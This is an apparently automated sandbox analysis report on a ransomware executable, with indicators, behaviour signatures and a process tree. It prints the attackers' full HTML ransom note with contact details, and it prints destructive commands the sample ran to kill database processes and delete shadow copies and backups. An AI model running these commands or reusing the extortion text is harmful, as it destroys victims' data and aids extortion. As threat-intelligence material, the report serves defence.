Resubmissions
23-01-2023 15:59
230123-tfhcmaff5y 1030-11-2022 07:42
221130-jjqs3adc2x 1029-11-2022 11:01
221129-m4m5fsfd71 10Analysis
-
max time kernel
123s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
29-11-2022 11:01
General
-
Target
64new_cip6.exe
-
Size
309KB
-
MD5
4ee1b43ffdea06ff320b1dbfc7195087
-
SHA1
3efec2894e16fa21417808c99bedfa7ddbd5c881
-
SHA256
c1fbc69f6892aa18f81cfaf0fc889be96a9421324fbd87cde99cd06731d27615
-
SHA512
64c285f003d72c20a839b19584a1576fc8f4f11b3500c5969102781241760a1fdb5d341e4e3862227792752bf15a145ce99f94dde3ed8ad6147032f0b0ea04e8
-
SSDEEP
6144:vPLavV9JccWJzcwYuUxhCKrSjZ5pjedRYc4ihyYr+3l0W3WtCyaw7c:v+vV9CZMuUxhC6SjZfjeu++3Gaw7c
Score
10/10
Malware Config
Extracted
Path
\??\A:\!-Recovery_Instructions-!.html
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset='utf-8'>
<meta name='viewport' content='width=device-width,initial-scale=1'>
<title></title>
<style>
html, body {
background-color: #1a1a1a;
}
body {
padding-top: 1rem !important;
font-size: 1.3rem;
color: white;
}
#text h2 {
font-size: 2rem;
font-weight: 600;
line-height: 1.125;
}
.container {
max-width: 1152px;
flex-grow: 1;
margin: 0 auto;
position: relative;
width: auto;
}
.box {
background-color: #242424;
display: block;
padding: 1.25rem;
border: 1px solid #303030;
}
a {
color: #00b4d8;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
li {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class='container'>
<div class='box'>
<div id='text'>
<h2>If you get this message, your network was hacked!</h2>
<p>After we gained full access to your servers, we first downloaded a large amount of sensitive data and then encrypted all the data stored on them.</p>
<p>That includes personal information on your clients, partners, your personnel, accounting documents, and other crucial files that are necessary for your company to work normally.</p>
<p>We used modern complicated algorithms, so you or any recovery service will not be able to decrypt files without our help, wasting time on these attempts instead of negotiations can be fatal for your company.</p>
<p>Make sure to act within <span style='color:#f4a261;'>72</span> hours or the negotiations will be considered failed!</p>
<p>Inform your superior management about what's going on.</p>
<p> Contact us for pricing and decryption software.</p>
<p> Contact us by email:<p>
<h2>Mikesupp77@outlook.com</h2>
</p>If you do not receive a response within 24 hours, please contact us at our additional contacts:</p>
<p> 1) Download for TOX CHAT https://tox.chat/download.html</p>
<p> 2) Open chat<p>
<p>Add ID Chat: </p><h2>3C9D49B928FDC3C15F0314217623A71B865909B308576B4B0D10AEA62C98677B4A3F160D5C93</h2>
<p>If we did not answer you, leave the chat enabled, the operator will contact you!<p>
</p>To verify the possibility of the recovery of your files we can decrypted 1-3 file for free.</p>
</p>Attach file to the letter (no more than 5Mb).</p>
<h2>If you and us succeed the negotiations we will grant you:</h2>
<ul>
<li>complete confidentiality, we will keep in secret any information regarding to attack, your company will act as if nothing had happened.</li>
<li>comprehensive information about vulnerabilities of your network and security report.</li>
<li>software and instructions to decrypt all the data that was encrypted.</li>
<li>all sensitive downloaded data will be permanently deleted from our cloud storage and we will provide an erasure log.</li>
</ul>
<h2>Our options if you act like nothing's happening, refuse to make a deal or fail the negotiations:</h2>
<ul>
<li>inform the media and independent journalists about what happened to your servers. To prove it we'll publish a chunk of private data that you should have ciphered if you care about potential breaches.
Moreover, your company will inevitably take decent reputational loss which is hard to assess precisely.</li>
<li>inform your clients, employees, partners by phone, e-mail, sms and social networks that you haven't prevent their data leakage.
You will violate laws about private data protection.</li>
<li>start DDOS attack on you website and infrastructures.</li>
<li>personal data stored will be put on sale on the Darknet to find anyone interested to buy useful information regarding your company. It could be data mining agencies or your market competitors.</li>
<li>publish all the discovered vulnerabilities found in your network, so anyone will do anything with it.</li>
</ul>
<h2>Why pay us?</h2>
<p>We care about our reputation. You are welcome to google our cases up and be sure that we don't have a single case of failure to provide what we promissed.</p>
<p>Turning this issue to a bug bounty will save your private information, reputation and will allow you to use the security report and
avoid this kind of situations in future.</p>
<h2>Your personal ID</p>
Your ID: g7cLsCjchWV5hAiKHw2TfqqvHT9sVmyX5qEhXX6NQFGfCCTvZ9xxxYuTRcMgcXuLM9iwxQ29QpHFo8390qbi/mSMFBqYppzNDGogj71IS1Kdfiw5dQ5MjyLfmKL7cNabcdMXDlofbK6978UzrhR69keLlsauJO74U/29Mz77vGN2irKGO2atdFkTJfZZmkGS+qEGRDTswZlmbjSIdESld44HrB0YU37dRAtmYKo6vUIqIyLZH4HkIFXPZFErdBIn/rdNC/v4erZB7+fLcRRVpDmsKHevFazjMr2xScoxAVcUO+E6sxUq2Jph43CvV39H1+F8vQr+FcdfAXRG/1CeugalZbbT6MhU/2NJWVQvQOp0MHMfSGi435aoo+0htgvqOhB+SQvIw8ZqOklm3zZlOTNedjvLlAikxTlPPKLoedkxKQt9RkOdLQ/CyzNQ/S4jL1tv6Vs9rOy5obtIeLKYhTi6y5D1XlcrB73baP6BdutaPQ1VA5/sdbctruDqh9MvtofAey3QdQ0oc06+j4JbTy/CAuEGZpxP/w9H27+Fmm62yAjfiCfAhg6+wptZV+74dq7OVwLJghSGUnplxlt/dzyRXbqrcSjN79OJUx//IwjsXLWY0okhDtdbK+sZ6gPBPgHKXwKnb3JVTEI/EsEfndvfO2Nz+Sjj/p23orhgNmdy3LaWv38xRVFM8cVXgVDr87Fnnba8M8qUoz5FGYQLAvNU8GMJCPPhgQ9DNd7ohZnv1pOqwh+tcmXYtIazLhmr/IDlsWGmqjJOFK4bEqnum9zWNMGOmmSs0SSi40//S0sYD3xfrOCY/ntwj7lUctXGGrPeJtcNFwiy6jEURTV4XltAQsFTfwiLMujVRRbPqZmUDb5RFo1HNicJHxg3vyKkCUvDA+ZeCutPiWTF+CyDDGuHU0fGL0aAFRFSNUcIZRPecyXBsCEK/nZ4bsRQllKx3l2RqrTACyUdswpCTnsiQr88MJo8lwqw5Nw8NFBjfHaTanL5o8807YRHrig7bfrdXYUuzRr3XH/AuTR7lVhCkHxLAM63QquYv91aCIlEeGPzI7Ol0qPPk9QKJNsdYz6Su1K/aGcNw7vNkMurBz/MWTneiMd5dBLFpdzzeVNAMD158VUEeIIu8Gf+JKZ0IIaSkeMGgsD37oMnvTKn7XYyPzOHVapU6VmwwGdbY8O2tYD3mMlEGOJWrV/fK6W6rhO8MrzGiSjCI9/R+axgJkHIVpFXAEAIqsKX9CD/V3dDwedOSLQ3EFpBVrgY4tTE3pp8BeR/XlOtGf94znD83Ad1R+aRFDvSWcnWEk9NQYZu32QyhLhhcwFPelwaEAm+nWGQtD3RiaJ87LrBVj0/JbxOStCHx53tq0xqcQiogJLIHH19CVRSUgZe55eE73N2EifLKS8ip7Y6E1NmxPdi2/xhCzaGBidluSZN03E84UVE7kmpDrx2huMXTs2XUX0Tkr7/rYz5dGIiHu7aVNzSwVC8+M9acjbnREfVlUISZXnOZ5uoDNuCGSDNXGBo9lkzmu139at1EiPaxpe4qXys8T0x5QBmpaZcvxHvGdduyEJltfDeuoU4ce9WCECo0UY2nHcM46++vlrbAkWo4dJRZa7FzcpAnAbYkaH0L92JcFiyFxzwZOKnabo5NmflwCXRPTC0n42k1HngGwwRq6loRZqw4U1cui1P9mfTEB7WoQvNvAU=
Emails
<h2>Mikesupp77@outlook.com</h2>
URLs
https://tox.chat/download.html</p>
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Deletes System State backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Deletes system backups 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Drops file in Windows directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 16 IoCs
-
Modifies registry class 2 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 55 IoCs
-
Suspicious use of FindShellTrayWindow 6 IoCs
-
Suspicious use of SendNotifyMessage 8 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 4 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\64new_cip6.exe"C:\Users\Admin\AppData\Local\Temp\64new_cip6.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Modifies extensions of user files
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c rem Kill "SQL"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlbrowser.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlwriter.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlwriter.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlwriter.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlservr.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlservr.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlservr.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im msmdsrv.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im MsDtsSrvr.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlceip.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im fdlauncher.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im Ssms.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im SQLAGENT.EXE5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im fdhost.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im fdlauncher.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlservr.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlservr.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlservr.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im ReportingServicesService.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im msftesql.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im pg_ctl.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im postgres.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im postgres.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im postgres.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper1003⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper1004⤵
-
C:\Windows\system32\net.exenet stop MSSQLServerADHelper1005⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1006⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS4⤵
-
C:\Windows\system32\net.exenet stop MSSQL$ISARS5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW4⤵
-
C:\Windows\system32\net.exenet stop MSSQL$MSFW5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS4⤵
-
C:\Windows\system32\net.exenet stop SQLAgent$ISARS5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW4⤵
-
C:\Windows\system32\net.exenet stop SQLAgent$MSFW5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLBrowser4⤵
-
C:\Windows\system32\net.exenet stop SQLBrowser5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLBrowser6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop ReportServer$ISARS3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop ReportServer$ISARS4⤵
-
C:\Windows\system32\net.exenet stop ReportServer$ISARS5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLWriter4⤵
-
C:\Windows\system32\net.exenet stop SQLWriter5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLWriter6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet4⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet5⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersions:0 -quiet3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersions:0 -quiet4⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -keepVersions:0 -quiet5⤵
- Deletes system backups
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest4⤵
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest5⤵
- Deletes System State backups
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP4⤵
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP5⤵
- Deletes System State backups
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoveryenabled No3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoveryenabled No4⤵
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled No5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures4⤵
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\SysWOW64\cipher.execipher /w:\\?\C:3⤵
-
C:\Users\Admin\AppData\Local\Temp\64new_cip6.exe\\?\C:\Users\Admin\AppData\Local\Temp\64new_cip6.exe -network2⤵
- System policy modification
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause3⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 676 -s 76962⤵
- Program crash
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$ISARS1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 676 -ip 6761⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3844 -s 22802⤵
- Program crash
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 464 -p 3844 -ip 38441⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.cipher6Filesize
624KB
MD5f4c4ed0c4fb6cbf141c1c368aae13447
SHA12f049e453a19c97698087328c6698e63b89cce1d
SHA25600d56da42bc7cd1717141cc529a8eb12d83d32dfbdffcb91ef4e65d721f8270c
SHA5128994cfe9a0175c5fdfd1f3229de5d3c11534a1271edcfb31df4114cbd20ba81a69c873221bd637aa65054f79a436698d63c49481e7c27be14d1d5ad2f35c1513
-
memory/380-152-0x0000000000000000-mapping.dmp
-
memory/624-136-0x0000000000000000-mapping.dmp
-
memory/704-169-0x0000000000000000-mapping.dmp
-
memory/772-177-0x0000000000000000-mapping.dmp
-
memory/868-171-0x0000000000000000-mapping.dmp
-
memory/892-164-0x0000000000000000-mapping.dmp
-
memory/932-191-0x0000000000000000-mapping.dmp
-
memory/1140-192-0x0000000000000000-mapping.dmp
-
memory/1156-193-0x0000000000000000-mapping.dmp
-
memory/1424-172-0x0000000000000000-mapping.dmp
-
memory/1432-175-0x0000000000000000-mapping.dmp
-
memory/1496-162-0x0000000000000000-mapping.dmp
-
memory/1504-146-0x0000000000000000-mapping.dmp
-
memory/1548-140-0x0000000000000000-mapping.dmp
-
memory/1560-145-0x0000000000000000-mapping.dmp
-
memory/1568-173-0x0000000000000000-mapping.dmp
-
memory/1640-194-0x0000000000000000-mapping.dmp
-
memory/1760-163-0x0000000000000000-mapping.dmp
-
memory/1792-143-0x0000000000000000-mapping.dmp
-
memory/1908-156-0x0000000000000000-mapping.dmp
-
memory/1936-147-0x0000000000000000-mapping.dmp
-
memory/1980-144-0x0000000000000000-mapping.dmp
-
memory/2104-184-0x0000000000000000-mapping.dmp
-
memory/2116-139-0x0000000000000000-mapping.dmp
-
memory/2120-142-0x0000000000000000-mapping.dmp
-
memory/2660-166-0x0000000000000000-mapping.dmp
-
memory/2832-190-0x0000000000000000-mapping.dmp
-
memory/2948-176-0x0000000000000000-mapping.dmp
-
memory/3016-150-0x0000000000000000-mapping.dmp
-
memory/3108-165-0x0000000000000000-mapping.dmp
-
memory/3208-195-0x0000000000000000-mapping.dmp
-
memory/3216-181-0x0000000000000000-mapping.dmp
-
memory/3236-133-0x0000000000000000-mapping.dmp
-
memory/3280-154-0x0000000000000000-mapping.dmp
-
memory/3316-161-0x0000000000000000-mapping.dmp
-
memory/3488-170-0x0000000000000000-mapping.dmp
-
memory/3500-168-0x0000000000000000-mapping.dmp
-
memory/3572-183-0x0000000000000000-mapping.dmp
-
memory/3592-187-0x0000000000000000-mapping.dmp
-
memory/3656-138-0x0000000000000000-mapping.dmp
-
memory/3724-157-0x0000000000000000-mapping.dmp
-
memory/3772-160-0x0000000000000000-mapping.dmp
-
memory/3776-185-0x0000000000000000-mapping.dmp
-
memory/3784-149-0x0000000000000000-mapping.dmp
-
memory/3924-134-0x0000000000000000-mapping.dmp
-
memory/3932-178-0x0000000000000000-mapping.dmp
-
memory/3968-180-0x0000000000000000-mapping.dmp
-
memory/4148-141-0x0000000000000000-mapping.dmp
-
memory/4224-167-0x0000000000000000-mapping.dmp
-
memory/4236-174-0x0000000000000000-mapping.dmp
-
memory/4260-158-0x0000000000000000-mapping.dmp
-
memory/4288-159-0x0000000000000000-mapping.dmp
-
memory/4432-151-0x0000000000000000-mapping.dmp
-
memory/4464-179-0x0000000000000000-mapping.dmp
-
memory/4488-148-0x0000000000000000-mapping.dmp
-
memory/4524-155-0x0000000000000000-mapping.dmp
-
memory/4708-188-0x0000000000000000-mapping.dmp
-
memory/4736-137-0x0000000000000000-mapping.dmp
-
memory/4756-153-0x0000000000000000-mapping.dmp
-
memory/4760-135-0x0000000000000000-mapping.dmp
-
memory/4836-189-0x0000000000000000-mapping.dmp
-
memory/4856-182-0x0000000000000000-mapping.dmp
-
memory/5064-186-0x0000000000000000-mapping.dmp
-
memory/5068-132-0x0000000000000000-mapping.dmp